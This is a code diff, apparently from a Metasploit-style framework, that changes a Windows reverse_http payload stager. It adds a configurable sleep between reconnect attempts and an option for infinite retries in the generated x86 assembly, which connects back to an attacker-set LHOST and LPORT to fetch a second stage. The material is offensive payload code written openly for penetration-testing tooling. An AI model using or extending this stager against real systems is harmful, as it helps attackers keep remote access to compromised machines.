@@ -29,7 +29,8 @@ def initialize(*args)
29
29
super
30
30
register_advanced_options ( [
31
31
OptInt . new ( 'StagerURILength' , [ false , 'The URI length for the stager (at least 5 bytes)' ] ) ,
32
- OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails' , 10 ] ) ,
32
+ OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails (zero to infinite retries)' , 10 ] ) ,
33
+ OptInt . new ( 'StagerRetryWait' , [ false , 'Number of seconds to wait for the stager between reconnect attempts' ] ) ,
33
34
OptString . new ( 'PayloadProxyHost' , [ false , 'An optional proxy server IP address or hostname' ] ) ,
34
35
OptPort . new ( 'PayloadProxyPort' , [ false , 'An optional proxy server port' ] ) ,
35
36
OptString . new ( 'PayloadProxyUser' , [ false , 'An optional proxy server username' ] ) ,
@@ -47,7 +48,8 @@ def generate(opts={})
47
48
ssl : opts [ :ssl ] || false ,
48
49
host : ds [ 'LHOST' ] ,
49
50
port : ds [ 'LPORT' ] ,
50
- retry_count : ds [ 'StagerRetryCount' ]
51
+ retry_count : ds [ 'StagerRetryCount' ] ,
52
+ retry_wait : ds [ 'StagerRetryWait' ]
51
53
}
52
54
53
55
# Add extra options if we have enough space
@@ -153,10 +155,12 @@ def required_space
153
155
# @option opts [String] :proxy_user The optional proxy server username
154
156
# @option opts [String] :proxy_pass The optional proxy server password
155
157
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
158
+ # @option opts [Integer] :retry_wait The seconds to wait before retry a new request
156
159
#
157
160
def asm_reverse_http ( opts = { } )
158
161
159
- retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
162
+ retry_count = opts [ :retry_count ] . to_i
163
+ retry_wait = opts [ :retry_wait ] ? ( opts [ :retry_wait ] . to_i * 1000 ) : nil
160
164
proxy_enabled = !!( opts [ :proxy_host ] . to_s . strip . length > 0 )
161
165
proxy_info = ""
162
166
@@ -315,15 +319,21 @@ def asm_reverse_http(opts={})
315
319
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
316
320
call ebp
317
321
xchg esi, eax ; save hHttpRequest in esi
318
-
322
+ ^
323
+ if retry_count > 0
324
+ asm << %Q^
319
325
; Store our retry counter in the edi register
320
326
set_retry:
321
327
push #{ retry_count }
322
328
pop edi
329
+ ^
330
+ end
323
331
332
+ asm << %Q^
324
333
send_request:
325
334
^
326
335
336
+
327
337
if opts [ :ssl ]
328
338
asm << %Q^
329
339
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
@@ -350,13 +360,33 @@ def asm_reverse_http(opts={})
350
360
call ebp
351
361
test eax,eax
352
362
jnz allocate_memory
363
+ ^
364
+
365
+ if retry_wait
366
+ asm << %Q^
367
+ set_wait:
368
+ push #{ retry_wait } ; dwMilliseconds
369
+ push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
370
+ call ebp ; Sleep( dwMilliseconds );
371
+ ^
372
+ end
353
373
354
- try_it_again:
355
- dec edi
356
- jnz send_request
374
+ if retry_count > 0
375
+ asm << %Q^
376
+ try_it_again:
377
+ dec edi
378
+ jnz send_request
357
379
358
- ; if we didn't allocate before running out of retries, bail out
359
- ^
380
+ ; if we didn't allocate before running out of retries, bail out
381
+ ^
382
+ else
383
+ asm << %Q^
384
+ try_it_again:
385
+ jmp send_request
386
+
387
+ ; retry forever
388
+ ^
389
+ end
360
390
361
391
if opts [ :exitfunk ]
362
392
asm << %Q^
0 commit comments